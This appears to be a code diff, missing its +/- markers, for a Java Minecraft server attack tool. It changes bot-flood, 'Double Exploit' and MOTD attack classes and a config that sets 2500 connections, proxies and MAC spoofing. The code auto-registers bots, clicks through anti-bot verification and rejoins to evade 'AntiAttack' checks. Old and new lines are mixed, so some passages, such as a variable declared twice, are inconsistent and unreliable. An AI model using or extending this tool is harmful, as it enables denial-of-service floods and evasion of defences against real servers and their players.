LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack");
}
if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session);
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
}
} else if (VersionSupport758.checkServerChatPacket(recvPacket)) {
List<String> result = VersionSupport758.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
Map<String, String> result = VersionSupport758.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
if (result.get(0).equals("1")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack");
if (result.get("result").contains("true")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
clickVerifies++;
} else if (!result.get(1).equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack");
}
if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session);
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
}
}
}
}

View File

@ -105,9 +105,9 @@ public class BotAttack extends IAttack {
OtherUtils.doSleep(ConfigUtil.ChatDelay);
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
}
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
}
c.getSession().setFlag("login", true);
}
}
@ -146,7 +146,7 @@ public class BotAttack extends IAttack {
Set<Client> cacheClients = clients;
for (Client c:cacheClients) {
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
}
}
@ -315,8 +315,7 @@ public class BotAttack extends IAttack {
}
}
} else if (ConfigUtil.ShowFails) {
msg = e.getCause().getMessage();
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
}
failed++;
@ -420,10 +419,18 @@ public class BotAttack extends IAttack {
} else if (recvPacket instanceof ServerChatPacket) {
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
clickVerifiesHandle(chatPacket.getMessage(), session, username);
Message message = chatPacket.getMessage();
clickVerifiesHandle(message, session, username);
if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session);
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
}
@ -456,14 +463,6 @@ public class BotAttack extends IAttack {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
clickVerifies++;
} else {
if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session);
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
}
if (message.getExtra() != null && !message.getExtra().isEmpty()) {

View File

@ -32,7 +32,9 @@ public class DoubleAttack extends BotAttack {
super.handlePacket(session, recvPacket, username);
if (recvPacket instanceof ServerJoinGamePacket) {
session.disconnect("Double Exploit - Connection Reset!");
runTimes++;
if (!EndMinecraftPlusV2.isLinux) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "");
}

View File

@ -84,9 +84,11 @@ public class MotdAttack extends IAttack {
new Thread(() -> {
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
if (task.isAlive()) {
task.stop();
}
threads.remove(task);
}).start();
}

View File

@ -15,11 +15,11 @@ AttackSettings:
# 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
Method: 1
Time: 3600
ConnectDelay: 250
ConnectTimeout: 8000
ConnectDelay: 15
ConnectTimeout: 5000
# 实际连接数由代理质量和机器性能有关
# 进行无代理Motd压测时不建议大于32
MaxConnections: 2000
MaxConnections: 2500
# 旧版漏洞利用,大概率无效
TabAttack: true
AntiAttackMode: true
@ -44,7 +44,7 @@ AdvancedSettings:
LoadedMods: "mods"
# MAC|Check欺骗
MACChecker:
RandomMAC: true
RandomMAC: false
BotSettings:
# 可用占位符:
@ -58,12 +58,12 @@ BotSettings:
# 3 - ABC - 纯字母
# 4 - 123 - 纯数字
RandomFlag: 1
RandomMinLength: 4
RandomMaxLength: 6
RandomMinLength: 6
RandomMaxLength: 8
# 尝试发送随机传送数据包
RandomTeleport: true
RandomTeleport: false
RejoinCount: 5
RejoinDelay: 2000
RejoinDelay: 3500
RejoinDetect:
- "AntiAttack"
ClickVerifiesDetect: